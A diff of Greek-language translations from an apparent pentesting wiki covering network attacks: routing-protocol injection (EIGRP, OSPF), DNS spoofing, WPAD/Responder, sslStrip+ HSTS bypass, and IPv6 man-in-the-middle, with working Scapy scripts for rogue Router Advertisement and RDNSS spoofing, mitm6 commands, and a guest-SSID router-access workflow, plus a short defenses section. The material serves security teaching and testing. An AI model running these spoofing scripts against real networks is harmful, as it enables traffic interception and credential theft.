**Οι μηχανικοί της Cisco Systems έχουν αναπτύξει δύο πρωτόκολλα FHRP, GLBP και HSRP.**
@ -549,7 +551,7 @@ glbp-and-hsrp-attacks.md
### RIP
Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν περιλαμβάνεται στο RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6.
Τρεις εκδόσεις του Πρωτοκόλλου Πληροφοριών Δρομολόγησης (RIP) είναι γνωστό ότι υπάρχουν: RIP, RIPv2 και RIPng. Τα datagrams αποστέλλονται σε ομότιμους μέσω της θύρας 520 χρησιμοποιώντας UDP από το RIP και το RIPv2, ενώ τα datagrams μεταδίδονται στη θύρα UDP 521 μέσω IPv6 multicast από το RIPng. Η υποστήριξη για την αυθεντικοποίηση MD5 εισήχθη από το RIPv2. Από την άλλη πλευρά, η εγγενής αυθεντικοποίηση δεν ενσωματώνεται από το RIPng; αντίθετα, βασίζεται σε προαιρετικά IPsec AH και ESP headers εντός του IPv6.
- **RIP και RIPv2:** Η επικοινωνία γίνεται μέσω UDP datagrams στη θύρα 520.
- **RIPng:** Χρησιμοποιεί τη θύρα UDP 521 για τη μετάδοση datagrams μέσω IPv6 multicast.
@ -558,21 +560,21 @@ glbp-and-hsrp-attacks.md
### EIGRP Attacks
**EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο)** είναι ένα δυναμικό πρωτόκολλο δρομολόγησης. **Είναι ένα πρωτόκολλο απόστασης-διανύσματος.** Εάν δεν υπάρχει **αυθεντικοποίηση** και ρύθμιση παθητικών διεπαφών, ένας **εισβολέας** μπορεί να παρεμβαίνει στη δρομολόγηση EIGRP και να προκαλέσει **δηλητηρίαση πινάκων δρομολόγησης**. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, το αυτόνομο σύστημα) **είναι επίπεδο και δεν έχει τμηματοποίηση σε ζώνες**. Εάν ένας **επιτιθέμενος εισάγει μια διαδρομή**, είναι πιθανό αυτή η διαδρομή να **διαδοθεί** σε όλο το αυτόνομο σύστημα EIGRP.
**EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης)** είναι ένα δυναμικό πρωτόκολλο δρομολόγησης. **Είναι ένα πρωτόκολλο απόστασης-διανύσματος.** Εάν δεν υπάρχει **αυθεντικοποίηση** και ρύθμιση παθητικών διεπαφών, ένας **εισβολέας** μπορεί να παρεμβαίνει στη δρομολόγηση EIGRP και να προκαλέσει **δηλητηρίαση πινάκων δρομολόγησης**. Επιπλέον, το δίκτυο EIGRP (με άλλα λόγια, το αυτόνομο σύστημα) **είναι επίπεδο και δεν έχει τμηματοποίηση σε ζώνες**. Εάν ένας **επιτιθέμενος εισάγει μια διαδρομή**, είναι πιθανό αυτή η διαδρομή να **διαδοθεί** σε όλο το αυτόνομο σύστημα EIGRP.
Για να επιτεθεί σε ένα σύστημα EIGRP απαιτείται **η δημιουργία γειτονιάς με έναν νόμιμο δρομολογητή EIGRP**, που ανοίγει πολλές δυνατότητες, από βασική αναγνώριση μέχρι διάφορες ενέσεις.
[**FRRouting**](https://frrouting.org/) σας επιτρέπει να υλοποιήσετε **έναν εικονικό δρομολογητή που υποστηρίζει BGP, OSPF, EIGRP, RIP και άλλα πρωτόκολλα.** Το μόνο που χρειάζεται να κάνετε είναι να το αναπτύξετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ότι είστε ένας νόμιμος δρομολογητής στον τομέα δρομολόγησης.
[**FRRouting**](https://frrouting.org/) σας επιτρέπει να υλοποιήσετε **έναν εικονικό δρομολογητή που υποστηρίζει BGP, OSPF, EIGRP, RIP και άλλα πρωτόκολλα.** Το μόνο που χρειάζεται να κάνετε είναι να το αναπτύξετε στο σύστημα του επιτιθέμενου και μπορείτε πραγματικά να προσποιηθείτε ότι είστε ένας νόμιμος δρομολογητής στο δίκτυο δρομολόγησης.
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των εκπομπών EIGRP (Πρωτόκολλο Δρομολόγησης Εσωτερικής Πύλης Ενισχυμένο). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης.
[**Coly**](https://code.google.com/p/coly/) έχει δυνατότητες για την παρεμβολή των μεταδόσεων EIGRP (Πρωτόκολλο Ενισχυμένης Εσωτερικής Πύλης). Επιτρέπει επίσης την έγχυση πακέτων, τα οποία μπορούν να χρησιμοποιηθούν για την τροποποίηση των ρυθμίσεων δρομολόγησης.
### OSPF
Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλαμβάνουν και να σπάζουν MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα.
Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλάβουν και να σπάσουν τα MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους της διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα.
- **Σύλληψη και Σπάσιμο MD5 Hashes:** Εργαλεία όπως το Loki και το John the Ripper χρησιμοποιούνται για αυτό το σκοπό.
- **Ρύθμιση Παραμέτρων Διαδρομής:** Αυτό γίνεται μέσω της καρτέλας _Injection_.
@ -608,14 +610,14 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Ρύθμιση δικού σας DNS με το dnsmasq**
**Ρυθμίστε το δικό σας DNS με το dnsmasq**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Τοπικές Πύλες
Πολλές διαδρομές προς συστήματα και δίκτυα συχνά υπάρχουν. Αφού δημιουργήσετε μια λίστα με διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το _gateway-finder.py_ για να εντοπίσετε τους κόμβους που υποστηρίζουν την προώθηση IPv4.
Πολλές διαδρομές προς συστήματα και δίκτυα συχνά υπάρχουν. Αφού δημιουργήσετε μια λίστα με διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το _gateway-finder.py_ για να εντοπίσετε υπολογιστές που υποστηρίζουν την προώθηση IPv4.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -646,9 +648,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
- Μέσω **DHCP**, όπου η ανακάλυψη διευκολύνεται με τη χρήση μιας ειδικής καταχώρησης κωδικού 252.
- Από **DNS**, που περιλαμβάνει την αναζήτηση ενός ονόματος υπολογιστή με την ετικέτα _wpad_ εντός του τοπικού τομέα.
- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εναλλακτικής λύσης που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν.
- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εφεδρείας που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν.
Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτόν. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν οι υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτόν. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
@ -663,7 +665,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
```
### IPv6 Router Advertisement Spoofing/Flooding
Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή, μπορείτε να χρησιμοποιήσετε:
Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή μπορείτε να χρησιμοποιήσετε:
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
@ -695,12 +697,12 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ και dns2proxy για παράκαμψη HSTS
### sslStrip+ και dns2proxy για την παράκαμψη του HSTS
Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** με _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με **www.facebook.com**.
Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα το _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** στο _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές το **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με **www.facebook.com**.
Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\
Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση σε [http://www.faceook.com](http://www.faceook.com) και όχι σε https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http.
Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή το _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\
Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση στο [http://www.faceook.com](http://www.faceook.com) και όχι στο https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http.
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
@ -770,7 +772,7 @@ wifi.recon on; wifi.ap
### **ARP ανακάλυψη**
Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες IP χρησιμοποιούνται μέσα στο δίκτυο. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο οι χρησιμοποιούμενες θα απαντήσουν.
Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες IPs χρησιμοποιούνται μέσα στο δίκτυο. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο οι διευθύνσεις που χρησιμοποιούνται θα απαντήσουν.
### **mDNS (multicast DNS)**

View File

@ -38,7 +38,7 @@ ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```
IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλός οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου.
IPv6 διευθύνσεις μπορούν να προκύψουν από τη διεύθυνση MAC μιας συσκευής για τοπική επικοινωνία. Ακολουθεί ένας απλοποιημένος οδηγός για το πώς να προκύψει η Link-local IPv6 διεύθυνση από μια γνωστή διεύθυνση MAC, καθώς και μια σύντομη επισκόπηση των τύπων διευθύνσεων IPv6 και μεθόδων για την ανακάλυψη διευθύνσεων IPv6 εντός ενός δικτύου.
### **Προκύπτοντας Link-local IPv6 από Διεύθυνση MAC**
@ -51,16 +51,16 @@ IPv6 διευθύνσεις μπορούν να προκύψουν από τη
### **Τύποι Διευθύνσεων IPv6**
- **Unique Local Address (ULA)**: Για τοπικές επικοινωνίες, δεν προορίζεται για δημόσια δρομολόγηση στο διαδίκτυο. Πρόθεμα: **`FEC00::/7`**
- **Multicast Address**: Για επικοινωνία one-to-many. Παράγεται σε όλα τα interfaces της ομάδας multicast. Πρόθεμα: **`FF00::/8`**
- **Anycast Address**: Για επικοινωνία one-to-nearest. Αποστέλλεται στο πλησιέστερο interface σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας unicast περιοχής **`2000::/3`**.
- **Multicast Address**: Για επικοινωνία ένα προς πολλούς. Παράγεται σε όλες τις διεπαφές της ομάδας multicast. Πρόθεμα: **`FF00::/8`**
- **Anycast Address**: Για επικοινωνία ένα προς τον πλησιέστερο. Αποστέλλεται στην πλησιέστερη διεπαφή σύμφωνα με το πρωτόκολλο δρομολόγησης. Μέρος της παγκόσμιας περιοχής unicast **`2000::/3`**.
### **Πρόθεμα Διευθύνσεων**
- **fe80::/10**: Link-Local διευθύνσεις (παρόμοιες με 169.254.x.x)
- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές IPv4 περιοχές όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **fc00::/7**: Unique Local-Unicast (παρόμοιες με ιδιωτικές περιοχές IPv4 όπως 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Global Unicast
- **ff02::1**: Multicast All Nodes
- **ff02::2**: Multicast Router Nodes
- **ff02::1**: Multicast Όλων των Κόμβων
- **ff02::2**: Multicast Κόμβοι Δρομολογητών
### **Ανακαλύπτοντας Διευθύνσεις IPv6 εντός ενός Δικτύου**
@ -82,7 +82,7 @@ ip -6 neigh # Display the neighbor table
Υπάρχουν αρκετές τεχνικές για την εκτέλεση επιθέσεων MitM σε δίκτυα IPv6, όπως:
- Spoofing ICMPv6 neighbor ή router advertisements.
- Χρήση ICMPv6 redirect ή "Packet Too Big" μηνυμάτων για την παραποίηση δρομολόγησης.
- Χρήση ICMPv6 redirect ή μηνυμάτων "Packet Too Big" για την παραποίηση δρομολόγησης.
- Επίθεση σε mobile IPv6 (συνήθως απαιτεί την απενεργοποίηση του IPSec).
- Ρύθμιση ενός rogue DHCPv6 server.
@ -94,9 +94,9 @@ ip -6 neigh # Display the neighbor table
```bash
site:ipv6./
```
### Χρήση Ερωτημάτων DNS
### Χρησιμοποιώντας Ερωτήσεις DNS
Για να εντοπιστούν διευθύνσεις IPv6, μπορούν να γίνουν ερωτήσεις σε ορισμένους τύπους εγγραφών DNS:
Για να εντοπιστούν οι διευθύνσεις IPv6, μπορούν να ερωτηθούν ορισμένοι τύποι εγγραφών DNS:
- **AXFR**: Ζητά μια πλήρη μεταφορά ζώνης, αποκαλύπτοντας ενδεχομένως ένα ευρύ φάσμα εγγραφών DNS.
- **AAAA**: Αναζητά άμεσα διευθύνσεις IPv6.
@ -108,7 +108,7 @@ site:ipv6./
## Τεχνικές Επιθέσεων Τοπικού Δικτύου IPv6
Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται **μέσα στο ίδιο /64 τμήμα** χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι **link-local** και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα.
Οι παρακάτω ενότητες καλύπτουν πρακτικές επιθέσεις IPv6 επιπέδου 2 που μπορούν να εκτελούνται **μέσα στο ίδιο τμήμα /64** χωρίς να γνωρίζετε κανένα παγκόσμιο πρόθεμα. Όλα τα πακέτα που εμφανίζονται παρακάτω είναι **link-local** και ταξιδεύουν μόνο μέσω του τοπικού διακόπτη, καθιστώντας τα εξαιρετικά αόρατα σε πολλές περιβάλλοντα.
### Ρύθμιση Συστήματος για Σταθερό Εργαστήριο
@ -199,7 +199,7 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
### Spoofing Διαφημίσεων Δρομολογητή (RA)
Οι IPv6 hosts βασίζονται σε **ICMPv6 Διαφημίσεις Δρομολογητή** για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs **συχνότερα** από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη.
Οι IPv6 hosts βασίζονται σε **ICMPv6 Router Advertisements** για την ανακάλυψη της προεπιλεγμένης πύλης. Αν εισάγετε πλαστές RAs **συχνότερα** από τον νόμιμο δρομολογητή, οι συσκευές θα αλλάξουν σιωπηλά σε εσάς ως πύλη.
```python
#!/usr/bin/env python3
from scapy.all import *
@ -227,47 +227,48 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
#### Σημαίες Διαφήμισης Δρομολογητή (M/O) & Προτίμηση Προεπιλεγμένου Δρομολογητή (Prf)
#### Σημαίες Διαφήμισης Ροτών (M/O) & Προτίμηση Προεπιλεγμένου Ροτέρ (Prf)
| Σημαία | Σημασία | Επίδραση στη Συμπεριφορά του Πελάτη |
|--------|---------|------------------------------------|
| **M (Διαχείριση Διεύθυνσης)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής ΠΡΕΠΕΙ να χρησιμοποιεί **DHCPv6** για να αποκτήσει τη διεύθυνση IPv6 του. | Όλη η διευθυνσιοδότηση προέρχεται από το DHCPv6 τέλειο για δηλητηρίαση τύπου *mitm6*. |
| **O (Άλλη Διαμόρφωση)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής θα πρέπει να χρησιμοποιεί το **DHCPv6** μόνο για να αποκτήσει *άλλες* πληροφορίες (DNS, NTP, …). | Η διεύθυνση εξακολουθεί να προέρχεται μέσω SLAAC, αλλά το DNS μπορεί να παραβιαστεί με το DHCPv6. |
| **O (Άλλη Διαμόρφωση)** | Όταν είναι ρυθμισμένο σε `1`, ο υπολογιστής θα πρέπει να χρησιμοποιεί το **DHCPv6** μόνο για να αποκτήσει *άλλες* πληροφορίες (DNS, NTP, …). | Διεύθυνση μέσω SLAAC, αλλά το DNS μπορεί να παραβιαστεί με το DHCPv6. |
| **M=0 / O=0** | Καθαρό δίκτυο SLAAC. | Μόνο κόλπα RA / RDNSS είναι δυνατά το DHCPv6 δεν θα σταλεί από τους πελάτες. |
| **M=1 / O=1** | Μεικτό περιβάλλον. | Χρησιμοποιούνται τόσο το DHCPv6 όσο και το SLAAC; η επιφάνεια για παραποίηση είναι η μεγαλύτερη. |
| **M=1 / O=1** | Μικτό περιβάλλον. | Χρησιμοποιούνται τόσο το DHCPv6 όσο και το SLAAC; η επιφάνεια για παραπλάνηση είναι η μεγαλύτερη. |
Κατά τη διάρκεια ενός pentest, μπορείτε απλά να ελέγξετε τη νόμιμη RA μία φορά και να αποφασίσετε ποιο vector είναι εφικτό:
Κατά τη διάρκεια ενός pentest, μπορείτε απλά να επιθεωρήσετε τη νόμιμη RA μία φορά και να αποφασίσετε ποιο διανυσμα είναι εφικτό:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
Look for the `flags [M,O]` field in the dump no guessing required.
Κοιτάξτε το πεδίο `flags [M,O]` στο dump δεν απαιτείται μαντεψιά.
The **Prf** (Router Preference) field inside the RA header controls how attractive your rogue router looks when *multiple* gateways are present:
Το **Prf** (Router Preference) πεδίο μέσα στην κεφαλίδα RA ελέγχει πόσο ελκυστικός φαίνεται ο κακόβουλος δρομολογητής σας όταν υπάρχουν *πολλαπλές* πύλες:
| Prf value | Binary | Meaning |
|-----------|--------|---------|
| **High** | `10` | Οι πελάτες προτιμούν αυτό το δρομολογητή από οποιονδήποτε *Μέτριο*/*Χαμηλό* |
| Medium (default) | `01` | Χρησιμοποιείται από σχεδόν κάθε νόμιμη συσκευή |
| Low | `00` | Επιλέγεται μόνο όταν δεν υπάρχει καλύτερος δρομολογητής |
| Τιμή Prf | Δυαδικό | Σημασία |
|----------|---------|---------|
| **Υψηλό** | `10` | Οι πελάτες προτιμούν αυτόν τον δρομολογητή από οποιονδήποτε *Μεσαίο*/*Χαμηλό* |
| Μεσαίο (προεπιλογή) | `01` | Χρησιμοποιείται από σχεδόν κάθε νόμιμη συσκευή |
| Χαμηλό | `00` | Επιλέγεται μόνο όταν δεν υπάρχει καλύτερος δρομολογητής |
When generating the packet with Scapy you can set it through the `prf` parameter as shown above (`prf=0x1` → High). Combining **High Prf**, a **short interval**, and a **non-zero lifetime** makes your rogue gateway remarkably stable.
Όταν δημιουργείτε το πακέτο με το Scapy μπορείτε να το ρυθμίσετε μέσω της παραμέτρου `prf` όπως φαίνεται παραπάνω (`prf=0x1` → Υψηλό). Συνδυάζοντας **Υψηλό Prf**, ένα **σύντομο διάστημα** και μια **μη μηδενική διάρκεια ζωής** καθιστά την κακόβουλη πύλη σας εξαιρετικά σταθερή.
---
### RDNSS (DNS) Spoofing via RA
### RDNSS (DNS) Spoofing μέσω RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) επιτρέπει την προσθήκη μιας επιλογής **Recursive DNS Server (RDNSS)** μέσα σε ένα RA. Οι σύγχρονοι λειτουργικοί συστήματα (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) το εμπιστεύονται αυτόματα:
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
@ -276,25 +277,70 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Οι πελάτες θα **προθέσουν** το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια ζωής, παρέχοντας πλήρη hijacking DNS μέχρι να λήξει η τιμή ή να στείλετε μια ανατροπή `lifetime=0`.
Οι πελάτες θα **προθέσουν** το DNS σας στη λίστα αναλυτών τους για την καθορισμένη διάρκεια, παρέχοντας πλήρη DNS hijacking μέχρι να λήξει η τιμή ή να στείλετε μια `lifetime=0` αναίρεση.
### DHCPv6 DNS Spoofing (mitm6)
Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από το **stateless DHCPv6** για το DNS. [mitm6](https://github.com/rofl0r/mitm6) απαντά αυτόματα σε μηνύματα `Solicit` με μια ροή **Advertise → Reply** που αναθέτει **τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα**. Αυτό ξεκλειδώνει:
Αντί για SLAAC, τα δίκτυα Windows συχνά εξαρτώνται από **stateless DHCPv6** για το DNS. [mitm6](https://github.com/rofl0r/mitm6) απαντά αυτόματα σε μηνύματα `Solicit` με μια ροή **Advertise → Reply** που αναθέτει **τη διεύθυνση link-local σας ως DNS για 300 δευτερόλεπτα**. Αυτό ξεκλειδώνει:
* Επιθέσεις NTLM relay (WPAD + DNS hijacking)
* NTLM relay επιθέσεις (WPAD + DNS hijacking)
* Παρεμβολή στην εσωτερική ανάλυση ονομάτων χωρίς να αγγίξετε δρομολογητές
Τυπική χρήση:
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
### Άμυνες
### Αμυντικές Τεχνικές
* **RA Guard / DHCPv6 Guard / ND Inspection** σε διαχειριζόμενους διακόπτες.
* Port ACLs που επιτρέπουν μόνο τη νόμιμη MAC του δρομολογητή να στέλνει RAs.
* Παρακολούθηση για **μη αξιόπιστους υψηλούς ρυθμούς RAs** ή ξαφνικές **αλλαγές RDNSS**.
* Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία προτιμήστε το L2 filtering αντί αυτού.
* Η απενεργοποίηση του IPv6 σε τερματικά είναι μια προσωρινή λύση που συχνά σπάει σύγχρονες υπηρεσίες και κρύβει τυφλά σημεία προτιμήστε το L2 filtering αντί.
### NDP Router Discovery σε Guest/Public SSIDs και Έκθεση Υπηρεσιών Διαχείρισης
Πολλοί καταναλωτικοί δρομολογητές εκθέτουν δαίμονες διαχείρισης (HTTP(S), SSH/Telnet, TR-069, κ.λπ.) σε όλες τις διεπαφές. Σε ορισμένες αναπτύξεις, το SSID “guest/public” είναι γέφυρα προς το WAN/core και είναι μόνο IPv6. Ακόμα και αν το IPv6 του δρομολογητή αλλάζει σε κάθε εκκίνηση, μπορείτε να το μάθετε αξιόπιστα χρησιμοποιώντας NDP/ICMPv6 και στη συνέχεια να συνδεθείτε απευθείας στο επίπεδο διαχείρισης από το guest SSID.
Τυπική ροή εργασίας από έναν πελάτη που είναι συνδεδεμένος στο guest/public SSID:
1) Ανακαλύψτε τον δρομολογητή μέσω ICMPv6 Router Solicitation στο All-Routers multicast `ff02::2` και καταγράψτε την Router Advertisement (RA):
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
